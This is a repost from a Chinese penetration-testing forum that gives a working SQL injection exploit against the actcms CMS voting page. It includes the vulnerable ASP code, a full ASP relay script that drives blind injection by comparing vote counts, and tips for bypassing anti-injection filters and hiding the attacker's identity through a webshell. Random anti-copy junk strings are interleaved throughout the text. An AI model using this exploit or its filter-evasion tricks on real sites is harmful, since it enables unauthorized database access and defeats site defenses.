中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
+ z% W9 g& P p" s& l
看到ninty大牛的blog的一篇文章
) L: p1 _% w, \/ Q% v' x4 x2 T! { j
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
& V4 L8 b% W% j$ j! s
关于actcms漏洞的利用 by 3x qq:381862589
$ n% ?8 `/ E3 f$ |( g# w
转载请注明以上
# W/ t: s9 ^1 }" f) O' s
漏洞文件:
& r" c. }, m/ G4 ~# Q
/plus/vote/vote.asp
. N/ H: a, e. `" N0 q* k4 |
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
$ N5 x3 L8 y' ~7 _
/ p A# D: X" Y; V; ~: b
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
& P7 |; }( W8 d/ o
" M7 A. D; T' }$ J2 \8 t
3 response.end
6 ?% E$ l4 U1 o8 [. E) z& H9 N
& a; U! @( s% O1 P- ^; [& e
4 end if
% P; r# o# y0 t7 I
0 c7 N) X! A! `3 T6 d7 ?
5 for i=1 to request("voted").count
' i- c0 J- p, B! y0 |
O6 I' j% _6 u$ g3 |
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
2 S0 |8 s' i4 ] x. |+ y
8 c8 {8 N$ y4 A. d- j3 ]/ D" b- h
7 next
) Y3 E) b* T; S) m
: `: g* M) S4 [8 q3 B1 t
8....
0 Q! x' O+ R# J2 I* Q4 i/ O
! Q* Q8 N6 V3 V0 h! r
9response.Redirect "index.asp?id="&id&""
& r1 a- K5 E. ~2 P M* }2 T
投票结束回跳转回index.asp这个投票结果页面
2 m" L! T4 _' ^) e3 t
如果投票成功票数加1
: o( D5 c4 L( R Y* H9 c2 Q
失败票数不变
7 P2 l8 x8 u" M/ U# G. \! P! D
如图:
9 c+ l4 [6 l w% ?; K
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
$ f, o' A6 u/ C+ b. @8 e" ]
3 _' p! q* ]+ }5 g1 r: h: o
2009-12-27 13:20
1 P1 X& a9 l' k2 B0 [) |3 ?
) @" D3 F) V4 d4 S4 h/ J9 ^
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
" T O7 ]; s6 l2 J' X( [, A- }
- j% m, o* W* H7 G& L% |" i% h# t
本帖隐藏的内容需要回复才可以浏览
1 H& e3 v; x0 f9 F
我们用注入中转来实现这个注入具体代码如下:
- `( k% f6 Z+ A# p8 k
先用寂寞的刺猬大牛的注入中转生成jmget.asp
- y+ }! O: {, o: e2 f# L5 Q; B3 [
注入地址:http://localhost/actcms/plus/vote/vote.asp
- ?* ~7 l0 D% X- u- j+ O
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
. ?9 I- @! k b" s5 G
5 _5 \, ]3 ~. j% }$ S
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
: P0 I6 A' [, T% \7 I( [( C# P1 `- X
4 R; C) W7 s, G4 X% |% c" s6 g& ?
02JmdcwName=request("jmdcw")
" o) } l6 r2 U6 o& K% A$ q) j
* V" ? ~( U, Q* s9 A" U- W: q |
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
. o3 T+ {- l# I( b" I/ O8 _ |
! i9 Y: E9 p( _7 o. Z
04JmStr="id=1&voted=-1 or 1="&JmdcwName
; M9 f9 \% e, ]
" C- n1 y, i8 G; X7 b
05JmStr=URLEncoding(JmStr)
8 n- | ~- I" i4 g; n' g1 u
, S T( S A9 X
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
, s( ~1 f8 h2 ?5 t- G3 l. Z5 D
: x% |4 e/ `) E' u4 A* K
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
( a9 g- n6 X0 |( R( Z3 C3 |
2 Q- \1 H) G5 ^. M% r
08testurl=testurl & "?" & JmStr
8 Q, ^) v+ q% x% \
( D% Z" J9 k/ E
09JMUrl=JMUrl & "?" & JmStr
( F- w S3 g2 z5 n6 Q, \! S2 |9 [
% w: }, _+ m. Z" d
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
. f4 @4 J, k3 c
; ]: x/ Y1 X2 v
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
+ @9 G3 \$ K7 P6 N
0 l$ b1 x* W( j, y9 k: F) k* f0 L# N& R
12JmCok=replace(JmCok,chr(32),"%20")
9 q& `- ~3 p4 ]3 {
) b' z4 C# D2 }7 x- U9 I
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" n9 |- i9 ^6 o* t1 H6 K! ^7 t [
; ]2 r. j U! m' [: W) R. m- u
14
8 X1 K2 S7 p6 i% n! b) ]% \. u4 [
+ C O1 o4 {1 a7 `- V# m
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
) t+ k$ l' t. ~! r" L* ]+ W N) n
4 \) r: E' a `6 q" t- K5 G2 n. e7 V8 T
16
8 e6 k- h9 C; R5 q
# I& l/ w* d, ?
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
7 \1 ^. B9 q: ^ t Q) f7 v
: u+ j! ]# R8 V
18response.write test1&""&test2&""
& y3 H" L' V+ g
2 m& M$ q- b3 J0 H3 G7 V6 s$ a: W: X
19
! d& |8 K) Y8 p0 {& D7 J
$ C4 ?- Z, I* w8 ^2 o
20if test1=test2 then '如前后记录相等,表示失败
m# W+ x( `. {
n$ j, P8 X2 j+ Q& b3 P
21 response.write "failed"
1 y$ F8 V% B& c J/ c7 H/ Y
$ R$ T: } m# r
22else
. K* O* n" `! O( m, C& n6 F
6 \, w2 G0 g5 F6 ]7 z; A
23 response.write "succeed"
- d8 S6 f6 `( ~% L0 @* W
( J. p7 c& p8 {8 q
24end if
; N5 }# W6 h( g
/ F; `7 i( c9 h: t" [$ o
25
* N3 w# z7 o- Y6 K/ Q1 T
: ~9 j! A/ A* ?$ |0 s
26response.write "by 3x"
8 {, q r0 U" g/ ]4 c+ o4 _( W% G
2 r- b- E6 v0 H K7 g7 C6 Q
27
- }. C$ D0 n/ `2 l
+ s7 _# o6 D2 S p; T0 j
28
% T$ t' a. g* J# B
& x, I( C% s; _; i
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
8 X3 X; |* S( f4 L8 P+ k: M' ~0 w
- N8 r4 d0 ], z. m: s! E
30Dim Http
2 j$ T% C8 I# d# T7 W2 N: g* o
7 B* A/ ]4 s$ ^: r. i
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; Z" t. j5 e" ^- @3 ~! z
1 z) _" ?. n4 L5 t: o" X1 [5 W. l
32With Http
, p. B+ B( Q1 h. z
6 ]# {2 Z7 U% }
33
, c8 F. G& Y9 i9 ~4 G9 e& |: J
# q3 B) f/ L7 }" S
34.Open "GET",PostUrl,False
( Q4 ~ C) m9 r- G' Z7 M
C8 k2 [0 d7 D% e' \
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
, G- s+ q' W$ d+ }" @
! K* x+ k6 o4 K7 }
36.SetRequestHeader "Referer",PostRef
4 {3 w4 Q+ s5 ~2 a
1 T- k) B- s$ C! `" n' C8 z
37.SetRequestHeader "Cookie",PostCok
2 ]( |/ P: l* Z7 v4 ]. R$ g
5 b. _6 F+ E3 O( S; b; q
38.Send ()
6 k, F/ o3 l( h) i4 t8 M
: w, [* E7 _2 C3 |& g3 \
39PostData = .ResponseBody
: J5 e. r, q" P8 }
1 v* l$ V+ x% N9 J! j
40End With
2 h4 k8 }' o! ~8 C
2 w8 c' }9 M# j4 p
41Set Http = Nothing
# @( b( a: o, t* X/ r
; h4 }5 L1 B0 u
42PostData =bytes2BSTR(PostData)
$ u9 Z8 G1 T* J0 k' R; B
+ w7 f7 R8 T% _$ w" }* G0 A
43End Function
0 x6 f) x3 f. y6 X: v. K
. G% l0 n6 y* t
44
0 u% ^& T! p1 J2 c! z$ C& ?- _
) E1 O, M$ y1 j) D4 P& I
45
( Y4 G; G# g. X- X3 z
& J% h$ a# Q+ v
46Function bytes2BSTR(vIn)
- }9 ?1 G. A. @2 _
: Q/ K. [* m2 b% G. c6 K
47Dim strReturn
1 I( x! [0 j3 T" K7 U
8 v3 T/ o3 y& y2 p& ]
48Dim I, ThisCharCode, NextCharCode
" Q" ~( Z* d H7 t4 @+ t5 f5 U' z
1 n$ E2 Y! i3 p5 t7 Q( u( w) K3 Q5 f* F
49strReturn = ""
% {' @& z2 f/ C1 L" t5 A' v
, t# s9 J5 J) Q4 b8 {/ ?" Y% Y6 k- J
50For I = 1 To LenB(vIn)
* A& d% i2 S \1 o5 J
' N" b6 h/ ]+ m9 J1 \ z
51ThisCharCode = AscB(MidB(vIn, I, 1))
S N0 v. j- T( r4 T1 ^
8 M/ B" f7 `/ U- A7 A) ]$ k2 i8 Y2 I: a
52If ThisCharCode < &H80 Then
- [' [% w/ K- }+ R2 C0 g% \
7 j# ^0 k; L8 u. A( Q+ b+ T
53strReturn = strReturn & Chr(ThisCharCode)
' T ^* G. m* n+ N* [5 T
9 h; d' R4 d$ \( _/ B
54Else
0 F, r1 Y: @9 a: {, \. G- D
- }7 T' m4 @" P3 r8 C# P% I
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
/ |6 G# k i( O; ^5 V" s7 s5 N
) o9 p* y1 h( D2 X+ C/ j" _
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
% U% l7 a' W: G4 |
1 U9 t; N& k+ a: H7 ^
57I = I + 1
' F; h d% `. h- t/ U
$ k1 M% h" e2 D
58End If
; i$ u' R: R( H) d
: @# y) r; u3 Z
59Next
, p7 Z" T4 ~+ W4 a x
$ k$ B/ S7 a* u6 V& \( k
60bytes2BSTR = strReturn
0 U( Y0 x5 l: l* A: Y
: g2 v5 ^0 e: Q/ p4 L4 E
61End Function
' b, C6 G) {0 k8 w% E' K
# B7 B" R; w5 q+ {, Z6 E, p; [
62
9 v6 |6 b, P& Y" i' I
% S. G' N, P+ t
63Function URLEncoding(vstrin)
y4 c6 `5 a) J% Y& f
) W' R5 A+ P; B" J9 U) t
64strReturn=""
1 g+ w% M' n1 F. g' m2 u
; N3 c& z! R4 f7 Q2 m
65Dim i
, h# R$ P3 x4 y
/ `! X8 `: F& x; f. m/ M
66For i=1 To Len(vstrin)
4 |* d% k U- S. K0 P6 X2 }
+ V" R$ ^" B/ V3 {1 o4 }. ]
67ThisChr=Mid(vstrin,i,1)
6 _9 r4 }4 N5 _+ Q; ] \
# \ M+ S2 s4 G9 V1 G
68if Abs(Asc(ThisChr))< &HFF Then
/ I! B; m8 Q! E {8 g. o
& M7 D+ b0 T- x
69strReturn=strReturn & ThisChr
# K S$ L+ v6 C; N, J& P" D
" a9 U6 ~6 ^1 d T, V9 ]
70Else
5 V) ~0 _# s& P/ c5 W
" `7 r5 d& w! z
71InnerCode=Asc(ThisChr)
5 j$ a; G# z2 s# Q! I
% Y% u7 E, G; t$ j3 A; k
72If InnerCode<0 Then
" h% g0 r% P& x' m3 q) E& I) |
# Y* A, o0 i/ {& K) S
73InnerCode=InnerCode + &H10000
4 H9 {2 F A4 @* f7 k2 O
b; ^& p2 x6 i
74End If
# p7 g0 E0 R- h' `
# D7 w6 a% P+ m C6 E: h
75Hight1=(InnerCode And &HFF00) \&HFF
$ n' r5 w' k4 N
5 L" s Z: U+ R9 E/ u9 q
76Low1=InnerCode And &HFF
! _" Q; H( P& i1 C- _
+ f, B- T4 G( Q; M* K- S- B
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
5 g: P8 y3 w* T1 ?% ~ i
0 R8 d C/ O3 K9 m
78End if
6 Y, ?: G& b. M$ p8 l* J
4 S2 I0 x$ ?' t2 b+ A$ Q" [
79Next
+ g/ q7 l* E9 u0 }8 f; T8 ^$ j5 d
: ?$ f$ T/ o. o% q& H$ r
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
" e0 o! l5 }3 b U% `9 Y
; t, J* Z' w8 s, O+ _0 V+ e: z
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
; {- u; l) z7 T7 V* ~
0 d. o& b4 ^3 G/ \
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
1 r- v( D6 O# E' B) e; v
0 L$ l! b" t( W- P; y# e& v
83URLEncoding=strReturn
! e. P% K1 {2 K9 a/ y
9 ^% y. H2 M% {0 }7 E
84End Function
# U2 X% B. q1 N; K! p
6 y% B) `& Q/ `- z3 ^
85
- f1 y5 d% _# _9 L0 F4 h
' \1 c' B1 C8 I+ v) x5 r7 ]4 ~5 D
86function getSt(body)
# |0 z- Y' d" O2 e+ b9 _
2 x6 p* g0 }5 C. p0 W* g f! j
87 startpot=instr(body,"投票人数:")+len("投票人数:")
. G, e0 A4 U) t% j: I
3 \; W+ |/ f& g! l2 |
88 endpot=instr(startpot,body," ")
. z# p4 u: e2 P4 ^2 ~2 s
) ^5 w! R1 y* s0 w
89 getSt=mid(body,startpot,endpot-startpot)
5 K6 @1 Q/ W3 u3 Y
1 K+ Q4 @# V% v( P
90end function
8 @' r; f" e1 B+ f$ j7 L% Z
6 a6 i7 W/ e6 u
91%>
: Q% F9 l# F4 P0 P/ l! n
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) K1 V1 A; p h7 ~: c/ U! k- k( s+ M
测试下效果:
" J* x. [7 Y; |* e& K
投票成功:
6 q& z/ b1 b" ~6 ~
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
9 P8 ^1 {- S. f
" U' M4 e* g3 v9 Y* b( P
2009-12-27 13:29
9 G# j7 M( ?6 l Z/ z% k8 J- k
投票失败
! k7 I7 @* ?) r2 a
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
' w- o9 K# w6 E) x" C9 z3 t
; @/ C- P! z+ U
2009-12-27 13:29
8 d1 `2 p% |) I% @( ^3 N
-------------------------------------------------------------------------------
& ^& C" ^" O- u7 f' o
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
1 Y. L) D1 H2 p R" h m5 C
很抱歉。。。只能用单线程工具去注入。。。。。
( J* ~1 C/ N3 M' T; c
所以失败。。。不好意思。。。
; [ r! m M+ j3 n8 o4 ?
-------------------------------------------------------------------------------
9 H9 S+ @! N" D7 t' T
* ~7 f6 h" | n8 o5 _, k7 v
注入中转的一些其他应用
( d- z- m. W1 W( N1 l
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
$ t( u% G- K. H5 M- E* O8 e9 q0 L$ q
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
+ g; T' E' \7 `$ z- v) I- v
2.post注入转成get型的注入,方便我们使用工具来跑
" b; Z T; `1 Y' ^4 \1 C7 _
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
) B% {' S- c9 A( N
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
( }( J; R- O7 m. Y
; G4 K0 [) d; y% y( m; j
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2